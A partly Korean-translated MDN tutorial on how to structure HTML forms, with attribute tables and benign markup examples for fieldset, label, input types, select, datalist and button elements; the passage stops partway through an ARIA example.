주의:HTML5에서 HTML 폼 요소안의 폼 속성이 지원된다. 폼 속성은 {{HTMLElement("form")}} 바깥에 있는 폼요소라도 폼과 명시적으로 연결한다. 불행하게도 지금 시점에 이 기능은 다양한 브라우저에서 안정적으로 구현되지 않아서 신뢰할 수 없다.

+
+ +

{{HTMLElement("form")}} 요소는 다음과 같은 속성을 가지고 모든 속성이 필수가 아닌 선택적이다.

+ +


+  {{HTMLElement("form")}} 요소 속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성 이름기본값설명
{{htmlattrxref("accept-charset","form")}}UNKNOWN서버가 받아들일 문자 인코딩의 형식을 지정한다. 기본값은 특수 문자열 UNKNOWN이고 이경우에 폼 요소 안에 있는 문서의 인코딩에 맞는 인코딩이다.
{{htmlattrxref("action","form")}} 폼을 통해서 전송한 정보를 처리하는 웹페이지의 URL 
{{htmlattrxref("autocomplete","form")}}on이 속성은 이 폼안에 있는 위젯들의 기본값이 브라우저에 의해 자동 완성 하게 하는지 여부를 나타낸다. 이속성은 두가지 값중 하나를 같는다. on 또는 off.
{{htmlattrxref("enctype","form")}}application/x-www-form-urlencoded\method 속성이 post 값으로 지정되면,  서버로 폼을 전송하는 콘텐츠 MIME의 타입을 지정한다.: +
    +
  • application/x-www-form-urlencoded
  • +
  • multipart/form-data: {{HTMLElement("input")}}요소의 type 속성을 file로 지정한 경우 이 속성의 값을 사용한다. 
  • +
  • text/plain
  • +
+
{{htmlattrxref("method","form")}}get브라우저가 폼을 전송하기위해 사용하는 HTTP의 방식을 지정한다.
+ 이 속성은 두개의 값중 한개를 가진다.  get 또는 post.
{{htmlattrxref("name","form")}} 폼의 이름이다. 이 속성값은 반드시 문서의 폼 사이에서 고유해야하며 빈 문자열을 지정할 수없다. 일반적으로 id 속성으로 대신 지정할 수 있다.
{{htmlattrxref("novalidate","form")}}(false)이 불리언 속성은 폼이 전송 할떄 유효성 검사를 할수 없음을 나타낸다.
{{htmlattrxref("target","form")}}_self폼 요청을 전송한후 응답을 어떻게 받을것인지 지정한다. 예를들어 {{HTMLElement("iframe")}}, tab, window를 사용 할 수 있다. 이 속성의 키워드로 다음과 같은 값을 사용 할 수있다. +
    +
  • _self: 응답을 현재 브라우징 컨텍스트 ({{HTMLElement("iframe")}}, tab, window 등)에서 불러온다.
  • +
  • _blank: 응답을 새로운 브라우징 컨텍스트로 불러온다.
  • +
  • _parent: 응답을 현재의 브라우징 컨텍스트의 부모 브라우징 컨텍스트에서 불러온다. 만약 부모가 없다면 _self 키워드와 똑같이 작동한다.
  • +
  • _top: 응답을 최상휘 레벨 브라우징 컨텍스트에서 불러온다. 만약 최상위 컨텍스트가 없다면  _self 키워드와 똑같이 작동한다.
  • +
+
+ +

요소 밖에 폼 위젯들을 사용 할 수 있지만, 폼 위젯이 어떠한 폼과도 상관이 없다는 것을 유의 해야 한다.폼의 밖에서 위젯을 사용하는 것은 편리할 수 있지만 위젯들이 작동하기 위해 다른 것들을 해야 한다는 것을 의미한다. 아마 자바스크립트를 이용해서 동작을 정의 해야 할것이다.

+ +

기술적으로 HTML5는 HTML 폼 요소에서 폼 속성을 설명 했다. 이것은 요소들을 실제로  {{ HTMLElement("form") }} 안에 있지 않아도 form요소로 확실하게 바인딩 하도록 해야한다. 불행하게도 모든 브라우저가 아직 이것을 충분히 지원하지 않는다.

+ +

 <fieldset> 와 <legend> 요소

+ +

{{HTMLElement("fieldset")}}요소는 같은 목적을 가진 위젯들을 편리하게 그룹화 하는 방법이다. A {{HTMLElement("fieldset")}} 요소는 라벨인 {{HTMLElement("legend")}} 요소와 같이 사용된다. {{HTMLElement("legend")}} 요소는 공식적으로 {{HTMLElement("fieldset")}} 요소를 설명하는데 사용된다. 많은 보조 기술들이 {{HTMLElement("legend")}} 요소를 {{HTMLElement("fieldset")}} 요소의 라벨로 이용하는데 사용된다. 예를 들어  Jaws, NVDA같은 스크린 리더들은 각각의 위젯의 라벨을 읽기전에 legend들을 읽을 것이다. 

+ +

아래 조그만 예제가 있다.

+ +
<form>
+  <fieldset>
+    <legend>Fruit juice size</legend>
+    <p>
+      <input type="radio" name="size" id="size_1" value="small" />
+      <label for="size_1">Small</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_2" value="medium" />
+      <label for="size_2">Medium</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_3" value="large" />
+      <label for="size_3">Large</label>
+    </p>
+  </fieldset>
+</form>
+ +

이 예제를 스크림 리더가 Fruit juice size small을 먼저 읽고 Fruit juice size medium을 읽은 다음 마지막으로 Fruit juice size large을 읽을 것이다,

+ +

이것은 가장 중요한것 중 하나이다. 대부분 라디오 버튼을 설정할떄 마다{{HTMLElement("fieldset")}} 요소 안에 있는지 확인해야한다. 다르게 사용하는 사례가 있지만 일반적으로 {{HTMLElement("fieldset")}}  요소는 폼을 강력하게 사용할 수 있게 해준다. 보조기술의 영향으로 {{HTMLElement("fieldset")}}  요소는 폼 접근 할수 있는 키 요소 중 하나이다. 이것을 남용하지 않는 것은 개발자 책임이다. 가능한 폼을 만들떄마다 스크린리더로 들어보면서 하는 것이 좋다. 만약 말이 이상하게 들린다면 개선 해야 한다는 신호이다.

+ +

{{HTMLElement("fieldset")}} 요소는 다음과 같은 속성을 지정한다.

+ + + + + + + + + + + + + + + + + +
{{HTMLElement("fieldset")}} 요소의 속성
속성 이름기본값설명
{{htmlattrxref("disabled","fieldset")}}(false)만약 이 불리언 속성이 설정되면 폼은(첫번째 {{ HTMLElement("legend") }}요소에 있는 요소는 예외이다. ) 이것에 파생된 요소를 사용하거나 편집 할 수없게된다. 그리고 마우스 클릭같은 어떠한 브라우저 이벤트들도 받지 않을것이다. 일반적으로 브라우저는 회색으로 이를 표시할 것이다.
+ +

The <label> element

+ +

{{HTMLElement("label")}} 요소는 HTML 폼 위젯을 정의하는 공식적인 방법이다. 이것은 접근성 있는 폼을 만드는데 가장 중요한 요소이다.

+ +

{{HTMLElement("label")}} 요소는 다음과 같은 속성을 지원한다.

+ +


+ {{HTMLElement("label")}} 요소의 속성

+ +


+  

+ + + + + + + + + + + + + + + + +
속성 명기본값설명
{{htmlattrxref("for","label")}} {{HTMLElement("label")}}  요소와 같은 문서에 있는 위젯의 라벨의 ID . 문서안의 ID와 for속성 값이 같으면 그 라벨 요소는 그 위젯의 라벨이된다.
+ +

요소는 for속성으로 지정한 위젯과 묶여진다. for속성은 해당 위젯의 실제 id 속성을 참조한다. 위젯은 요소로 둘러싸게 할수 있지만 이 경우 몇가지 보조 기술이 라벨과 위젯의 암시적인 관계를 이해하지 못하기 떄문에 for 속성을 고려 해봐야한다.

+ +

심지어 보조 기술을 배제 한다고 하여도 모든 브라우저에서 공식적인 라벨 설정하면 사용자가 라벨을 누르면 해당하는 위젯이 활성화 할수 있다는 것을 알아 두어야한다. 이것은 라디오 버튼이나 체크박스를 사용하는데 특히 유용하다.

+ +
<form>
+  <p>
+    <input type="checkbox" id="taste_1" name="taste_cherry" value="1">
+    <label for="taste_1">I like cherry</label>
+  </p>
+  <p>
+    <label for="taste_2">
+      <input type="checkbox" id="taste_2" name="taste_banana" value="1">
+      I like banana
+    </label>
+  </p>
+</form>
+ +

몇가지 보조 기술은 여러개의 라벨을 한개의 위젯을 다루면 문제를 가질수 있다. 이 떄문에 위젯을 그에 맞는 폼 요소안에 넣어서 사용해야한다.

+ +

다음 예제를 보아라

+ +
<form>
+  <p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p>
+
+  <p>
+    <label for="name">
+      <span>Name: </span>
+      <input type="text" id="name" name="username" required />
+      <strong><abbr title="required">*</abbr></strong>
+    </label>
+  </p>
+
+  <p>
+    <label for="birth">
+      <span>Date of birth: </span>
+      <input type="text" id="birth" name="userbirth" maxlength="10" /> <em>formated as mm/dd/yyyy</em>
+    </label>
+  </p>
+</form>
+ +

이 예제에서 첫번째 단락은 필수적인 요소의 규칙들을 정의한다. 이 것은 스크린 리더와 같은 보조 기술이 필수 요소들을 찾기전에 출력하거나 읽기 위해서는 반드시 시작부분 나타내야 한다. 이런식으로 사용자는 항상 자신이 무엇을 하는지 알 수있다.

+ +

첫번째 필드는 필수적이기 떄문에 라벨 요소는 name 과 * 로 필수적인 필드를 나타낸다  이런 식으로 하면 스크린 리더는 "Name star" 또는 "Name required"이라고 읽을 것이다. ( 스크린 리더의 설정에 따라 다르지만 항상 첫번째 단락에서 읽어진 것을 읽는다).  만약 두가지 라벨을 사용한다면, 사용자가 이 요소가 필수 요소 인지 보여지는지 보장 할 수없다.

+ +

두번째 폼 요소는 비슷하게 작동한다. 이 기술을 사용하면 사용자에게 어떻게 데이터를 작성하는지 알려주는데 확신 할 수 있다.

+ +

<output> 요소

+ +

이 요소는 계산의 출력을 저장하는데 사용된다. It formally defines a relationship between the fields used to get the data required to perform the calculation and an element to be used to display the results. It is also understood as a live region by some assistive technologies (which means that when the content of the {{HTMLElement("output")}} element changes, the assistive technology is aware of that change and can react to it).

+ +

{{HTMLElement("output")}} 요소는 다음 속성은 지원한다.

+ + + + + + + + + + + + + + + + + +
{{HTMLElement("output")}} 요소 속성
Attribute nameDefault valueDescription
{{htmlattrxref("for","output")}} 스페이스로 구분된 다른 요소의 ID로 설정하고 이 요소들에 값을 입력을 계산하는데 기여한다.(또는 다른 효과)
+ +

form이 사용되는 일반적인 form 구조

+ +

HTML 폼의 지정된 구조를 넘어서 하나의 HTML이라고 생각 하는게 좋다. T 이 의미는 HTML 폼을 구성하는데 HTML의 모든 능력을 사용할 수 있다는 것이다.

+ +

예제에서 볼 수 있드니 라벨과 위젯을 둘러싸는데 최고의 방법은  {{HTMLElement("p")}}요소 나 {{HTMLElement("div")}}요소를 사용하는 것이다.

+ +

게다가 {{HTMLElement("fieldset")}} 요소에 HTML 타이틀을 사용하고 복잡한 폼을 만드는데 구조에 섹션을 사용하는것도 일반적인 관행이다.

+ +

HTML 목록은 체크박스나 라디오 버튼을 사용하는데 일반적으로 사용된다.

+ +

간단한 지불 폼을 만들어 보자

+ +
<form>
+  <h1>Payment form</h1>
+  <p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p>
+
+  <section>
+    <h2>Contact information</h2>
+
+    <fieldset>
+      <legend>Title</legend>
+      <ul>
+        <li>
+          <label for="title_1">
+            <input type="radio" id="title_1" name="title" value="M." />
+            Mister
+          </label>
+        </li>
+        <li>
+          <label for="title_2">
+            <input type="radio" id="title_2" name="title" value="Ms." />
+            Miss
+          </label>
+        </li>
+      </ul>
+    </fieldset>
+
+    <p>
+      <label for="name">
+        <span>Name: </span>
+        <input type="text" id="name" name="username" required />
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+    </p>
+
+     <p>
+      <label for="mail">
+        <span>E-mail: </span>
+        <input type="email" id="mail" name="usermail" required />
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+    </p>
+  </section>
+
+  <section>
+    <h2>Payment information</h2>
+
+    <p>
+      <label for="card">
+        <span>Card type:</span>
+        <select id="card" name="usercard">
+          <option value="visa">Visa</option>
+          <option value="mc">Mastercard</option>
+          <option value="amex">American Express</option>
+        </select>
+      </label>
+    </p>
+    <p>
+      <label for="number">
+        <span>Card number:</span>
+        <input type="text" id="number" name="cardnumber" required />
+        <strong><abbr title="required">*</abbr></strong>
+      </label>
+    </p>
+    <p>
+      <label for="date">
+        <span>Expiration date:</span>
+        <input type="text" id="date" name="expiration" required />
+        <strong><abbr title="required">*</abbr></strong>
+        <em>formated as mm/yy</em>
+      </label>
+    </p>
+  </section>
+
+  <section>
+    <p>
+      <button>Validate the payment</button>
+    </p>
+  </section>
+</form>
+ +

See this form in action (with a touch of CSS):

+ +

{{EmbedLiveSample("A_payment_form","100%",620, "", "Learn/HTML/Forms/How_to_structure_an_HTML_form/Example")}}

+ +

HTML 위젯

+ +

When you build a form, you need to use some widgets to collect data from the user. In this article we will see how to display those widgets; if you want to know more about the way those widgets work, it is detailed in the article: The native form widgets.

+ +

The <input> element

+ +

이 요소는 거의 모든 것을 할 있기 떄문에 특별 한 종류이다. 간단하게 type속성을 설정하여 완전히 바뀔수 있다. 간단하게 하기 위해서 type속성의 값을 4가지로 분류하였다. 단일 라인 텍스트 필드, 텍스트 입력 없는 컨트롤, 시간이나 날짜 컨트롤, 버튼. 이와 같은 다형성 떄문에  {{HTMLElement("input")}} 요소는 많은 속성을 지원하지만  type 속성값에 따라 달라지기 떄문에 어느 속성이 적절한지, 어느 것이 필요한지  선택하는 것은 어려울 수 있다. 

+ +

This is all summarized in the following table (for a full list of all attributes, visit the page for the {{HTMLElement("input")}} element):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
type 속성 의 값설명필수 속성관련된 속성
단일 선 텍스트 필드
text이것은 가장 기본적인 텍스트 필드이다.  type속성을 위한 텍스트 값은 이 속성의 기본 값이다.(자동 유효성 검사를 하지않음) {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}, {{htmlattrxref("spellcheck","input")}}
email하나 또는 여러개 이메일 주소를 작성하기 위해 사용되는 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("multiple","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}
password텍스트 필드의 값을 가리기 위해 사용되는 텍스트 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}
search검색 하기 위한 텍스트 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("autosave","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}, {{htmlattrxref("spellcheck","input")}}
tel전화 번호를 입력할 수 있는 텍스트 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}
url절대 URL을 다루기 위한 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("maxlength","input")}}, {{htmlattrxref("pattern","input")}}, {{htmlattrxref("placeholder","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("size","input")}}
텍스트 입력 없는 컨트롤
checkbox체크박스 {{htmlattrxref("checked","input")}}, {{htmlattrxref("required","input")}}
color색상을 입력 받기위한 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("required","input")}}
fileA control that lets the user select a file. {{htmlattrxref("accept","input")}}, {{htmlattrxref("multiple","input")}}, {{htmlattrxref("required","input")}}
hidden보여주지 않는 컨트롤 이지만 서버로 전송되는 필드  
number소숫점을 입력받는 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("step","input")}}
radio라디오 버튼. 그룹 중 한가지만 선택하기 위한 필드 {{htmlattrxref("checked","input")}}, {{htmlattrxref("required","input")}}
range정확하지 않는 숫자를 입력받기 위한 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("required","input")}}, {{htmlattrxref("step","input")}}
시간 과 날짜 컨트롤
date(년, 원, 일)날짜를 입력 받을 수 잇는 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
datetimeUTC 타임 존 기반으로 전체 날짜와 시간(시간, 분, 초 )을 입력 받기 위한 필드 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
datetime-local타임존 기반이 아닌 날짜와 시간을 입력받기 위한 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
month타임존 기반이 아닌 달과 년도를 입력 받기 위한 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
time타임존 기반이 아닌 시간을 입력 받기 위한 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
week타임존 기반이 아닌 전체 날짜를 일주일-년도 숫자로 주 번호를 입력하는 컨트롤 {{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}
버튼
button기본 행동이 없는 누르는 버튼 {{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}
image그래픽적인 전송버튼{{htmlattrxref("src","input")}}, {{htmlattrxref("alt","input")}}{{htmlattrxref("width","input")}}, {{htmlattrxref("height","input")}}, {{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}
reset폼의 내용을 초기화 하는 컨트롤 {{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}
submit폼을 전송하는 버튼 {{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}
+ +

몇가지 이유 때문에 브라우저에서 특정 type 속성의 값 설정을 지원하지 않으면 {{HTMLElement("input")}} 요소는  text 속성으로 렌더링 한다. 이것은 매력적이지 않아도 어쩔 수없이 폼이 작동하도록 한다.

+ +

요소는 강력한 도구지만, 모든 것을 할수 없고 다른 것들을 다루기 위해 다른 요소들이 있다.

+ +

<textarea> 요소

+ +

이 요소는 다중 텍스트 필드로 설정된다. 이 요소는 사용자가 입력한 텍스트에 줄 바꿈을 할수 있다는 것을 제외하고 단일 라인 텍스트 필드와 정확하게 똑같이 작동한다. 또한 여러줄에 걸처 랜더링을 제어 하기위해 몇가지 추가 속성 설정을 허락한다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
 {{HTMLElement("textarea")}} 요소 속성
Attribute name기본값설명
{{htmlattrxref("cols","textarea")}}20보여지는 문자 너비의 평균을 기준으로 텍스트 컨트롤의 너비
{{htmlattrxref("rows","textarea")}} 보여지는 텍스트 행의 수
{{htmlattrxref("wrap","textarea")}}softhard, soft 이 둘중 하나의 값으로 어떻게 텍스트를 둘러쌀것인지 나타낸다.
+ +

 {{HTMLElement("textarea")}} 요소는 {{HTMLElement("input")}} 요소와 다르게 작동한다. {{HTMLElement("input")}} 요소는 자동으로 닫히는 요소이다. 이는 자식 요소를 가질 수 없다는 것을 의미한다. 이와 반대로 요소는 text 콘텐츠를 자식으로 가질 수 있는 일반적인 요소이다.

+ +

이는 두가지 영향이 있다.

+ + + +

 예제를 따라가면 다음 두 요소는 똑같이 랜더링 되어 질것이다.

+ +
<form>
+  <p>
+    <label for="text_1">With regular HTML</label><br>
+    <textarea id="text_1" name="regular"><p>I'm a paragraphe</p></textarea>
+  </p>
+  <p>
+    <label for="text_2">With escaped HTML</label><br>
+    <textarea id="text_2" name="escaped">&lt;p&gt;I'm a paragraphe&lt;/p&gt;</textarea>
+  </p>
+  <p>
+    <button>Send me</button>
+  </p>
+</form>
+ +

<select>, <option>그리고 <optgroup> 요소

+ +

요소는 선택 박스를 만들 수 있게 해준다(떄로는 콤보 박스라고 한다). 선택 박스는 사용자가 하나 이상 미리 정의 된 값을 선택하는 위젯이다. 단일 값 선택  박스와 다중 값 선택 박스는 다르다. 이에 대한 자세한 내용은 다음 문서를 확인해라 The native form widgets.

+ +

선택 박스 안의 값들은  {{HTMLElement("option")}} 요소에서 정의되고 {{HTMLElement("optgroup")}} 요소 안에서 그룹화 될 수 있다.

+ +

Let's take an example:

+ +
<form>
+  <p>
+    <label for="myFruit">Pick a fruit</label>
+    <select id="myFruit" name="fruit">
+      <!-- There is a trick here you think you'll pick
+         a banana but you'll eat an orange >:-) -->
+      <option value="orange">Banana</option>
+      <option>Cherry</option>
+      <optgroup label="berries">
+        <option>Blueberry</option>
+        <option>Raspberry</option>
+        <option>Strawberry</option>
+      </optgroup>
+    </select>
+  </p>
+</form>
+ +

{HTMLElement("option")}} 요소는 폼이 전송되면 전송될 value속성을 설정한다. 만약 value 속성을 바뜨리면 {{HTMLElement("option")}} 요소는 value 값을 선택 박스 값으로 사용된다.

+ +

{{HTMLElement("optgroup")}} 요소의 라벨 속성은 값이 나오기전에 보여주고 옵션 같은 요소들은 선택할 수 없게 나온다..

+ + + + + + + + + + + + + + + + + + + + + + +
{{HTMLElement("option")}} 요소 의 속성
속성 이름기본값설명
{{htmlattrxref("label","option")}} 이 속성은 옵션을 설명하는 라벨의 텍스트이다. 만약 라벨 속성이 정의되지 않으면 이 값은 요소의 텍스트 콘텐츠로 설정된다.
{{htmlattrxref("selected","option")}}(false)만약 이 속성이 불리언 값으로 설정되는 경우 처음에 선택된 상태로 시작하게된다.
+ + + + + + + + + + + + + + + + + +
Attributes for the {{HTMLElement("optgroup")}} element
Attribute nameDefault valueDescription
{{htmlattrxref("label","optgroup")}} The name of the group of options. This attribute is mandatory.
+ +

<datalist>요소 

+ +

이 요소는 기존에 있는 위젯들에 사전 설정 값을 제공 함으로써 위젯들을 확장시킨다. 가장 잘 알려진 사용 방법은 텍스트 필드의 자동 완성 목록이다. 값들은 {{HTMLElement("datalist")}} 요소 안에 있는 {{HTMLElement("option")}}요소의 값으로 사용할 수 있다.

+ +

{{HTMLElement("datalist")}}요소와 바인드 하기위해서는 사용하는 요소의 list속성을 이용하여 설정해야한다. 이 속성은 {{HTMLElement("datalist")}} 요소의 id로 설정된다.

+ +

요소는 최근에 HTML 폼으로 추가 되었다. 그러므로 아직 이를 지원하지 않는 브라우저들도 있다. 이 문제를 처리하기 위하여 아래에 약간 까다로운 예제가 있다.

+ +
<form>
+  <p>
+    <label for="myFruit">What is your favorite fruit?</label>
+    <input type="text" id="myFruit" name="fruit" list="fruitList" />
+
+    <datalist id="fruitList">
+      <label for="suggestion">or pick a fruit</label>
+      <select id="suggestion" name="altFruit">
+        <option value="banana">Banana</option>
+        <option value="cherry">Cherry</option>
+        <option value="strawberry">Strawberry</option>
+      </select>
+    </datalist>
+  </p>
+</form>
+ +

한편 {{HTMLElement("datalist")}} 요소를 지원하는 브라우저는 {{HTMLElement("option")}} 요소를 무시하고 이를 사용하는 요소를 확장 할 것이다. 이와 반대로 {{HTMLElement("datalist")}} 요소를 지원하지 않는 브라우저는 라벨과 선택 박스를 표시 할 것이다. 물론 {{HTMLElement("datalist")}} 요소를 지원하지 않는 브라우저에 대해 자바스크립트로 하는 다른 방법이 있지만 항상 자바스크립트만 사용하는 것은 좋은 것이 아니다.

+ + + + + + + + + + + + +
Safari 6Screenshot of the datalist element fallback with Safari on Mac OS
Firefox 18Screenshot of the datalist element with Firefox on Mac OS
+ +

<meter> 와 <progress> 요소들 

+ +

이 두요소는 그래픽적으로 숫자 값을 표현 하는방법이다. 이 두 요소의 차이점은 두 요소의 의미가 다르다는 것이다.

+ + + +

속성으로 인해 이 요소들은 다음 속성을 지정 가능하다.

+ +


+ {{HTMLElement("meter")}} 요소는 다음과 같은 속성을 가진다

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attribute nameDefault valueDescription
{{htmlattrxref("min","meter")}}0The lower numeric bound of the measured range.
{{htmlattrxref("max","meter")}}1The upper numeric bound of the measured range.
{{htmlattrxref("low","meter")}}the min valueThe upper numeric bound of the low end of the measured range.
{{htmlattrxref("high","meter")}}the max valueThe lower numeric bound of the high end of the measured range.
{{htmlattrxref("optimum","meter")}} The optimal numeric value.
+ + + + + + + + + + + + + + + + + +
Attributes for the {{HTMLElement("progress")}} element
Attribute nameDefault valueDescription
{{htmlattrxref("max","progress")}} This attribute describes how much work the task indicated by the {{HTMLElement("progress")}} element requires before it's complete.
+ +

The <button> element 

+ +

{{HTMLElement("button")}} 요소는 폼 버튼을 만드는 가장 쉬운 방법이다. 버튼은 type속성에 따라 3가지 타입을 가진다.

+ + + +


+ {HTMLElement("button")}} 요소의 속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성 이름기본값설명
{{htmlattrxref("type","button")}}submit버튼의 타입.  buttonresetsubmit 이 있다.
{{htmlattrxref("formaction","button")}} 만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 action 속성에 오버라이드 된다.
{{htmlattrxref("formenctype","button")}} 만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 enctype 속성에 오버라이드 된다.
{{htmlattrxref("formmethod","button")}} 만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 method 속성에 오버라이드 된다.
{{htmlattrxref("formnovalidate","button")}} 만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 novalidate 속성에 오버라이드 된다.
{{htmlattrxref("formtarget","button")}} 만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 target 속성에 오버라이드 된다.
+ +

기술적으로 말하면 {{HTMLElement("button")}} 요소와 {{HTMLElement("input")}} 요소의 속성에 정의된 버튼 요소는 거의 차이가 없다. 단 한가지 차이점은 버튼 자체의 라벨 이다.요소 안에서는 라벨은 오직 문자 데이터로만 나타 낼 수 있지만 {{HTMLElement("button")}} 요소에서는 어떠한 HTML이 될 수있다. 그래서 이에 따른 스타일을 디자인 할 수있다.

+ +
Note: For historical reasons, the {{HTMLElement("button")}} element wasn't used very often and in many forms developers preferred to use buttons made with the {{HTMLElement("input")}} element. This is due to a bug in legacy versions of Internet Explorer (IE). In IE6 and IE7, if you add a name and a value attribute to a {{HTMLElement("button")}} element, they do not send the content of the value attribute but the raw content of the button instead. This has been fixed since IE8, so there is no longer any reason to avoid using the {{HTMLElement("button")}} element.
+ +
 
+ +

공통 속성

+ +

Many of the elements used to define form widgets have some their own attributes. However, there is a set of attributes common to all form elements that give you some control over those widgets. Here is a list of those common attributes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attribute nameDefault valueDescription
autofocus(false)This Boolean attribute lets you specify that the element should automatically have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified.
disabled(false)This Boolean attribute indicates that the user cannot interact with the element. If this attribute is not specified, the element inherits its setting from the containing element, for example {{HTMLElement("fieldset")}}; if there is no containing element with the disabled attribute set, then the element is enabled.
form The form element that the widget is associated with. The value of the attribute must be the id attribute of a {{HTMLElement("form")}} element in the same document. In theory, it lets you set a form widget outside of a {{HTMLElement("form")}} element. In practice, however, there is no browser which supports that feature.
name The name of the element; this is submitted with the form data.
value The element's initial value.
+ +

Using ARIA to structure HTML forms

+ +

ARIA is a W3C Candidate Recommendation which adds to HTML improved accessibility for rich Internet applications, including for forms. We will discuss its use in more detail in the "How to build custom form widgets" article, but there are some basics that are good to know.

+ +

Before going further, it's worth noting that support for ARIA and assistive technologies among browsers is far from perfect, but it's improving. Just to understand the issue, when a browser encounters an ARIA attribute, it has to send information to the operating system's accessibility layer. Not all browsers are good at doing this cross platform. The assistive technologies, on their own, have to connect themselves to the OS accessibility layer to handle the information that comes from the browsers. Surprisingly, not all assistive technologies do it well. So using ARIA does not mean that your web application will be accessible, but it means that you do your best to achieve this. Unfortunately, for the time being, ARIA remains a best effort technology, but it's always better than nothing.

+ +

If you want to dig into using ARIA with HTML forms, feel free to read the related section in the ARIA documentation.

+ +

The aria-labelledby attribute

+ +

This attribute is a convenient way to define a label without using the {{HTMLElement("label")}} element. The attribute is set on the widget element and references the id attribute of the element to use as a label.

+ +
<form>
+  <p id="fruitLabel">What's your favorite fruit</p>
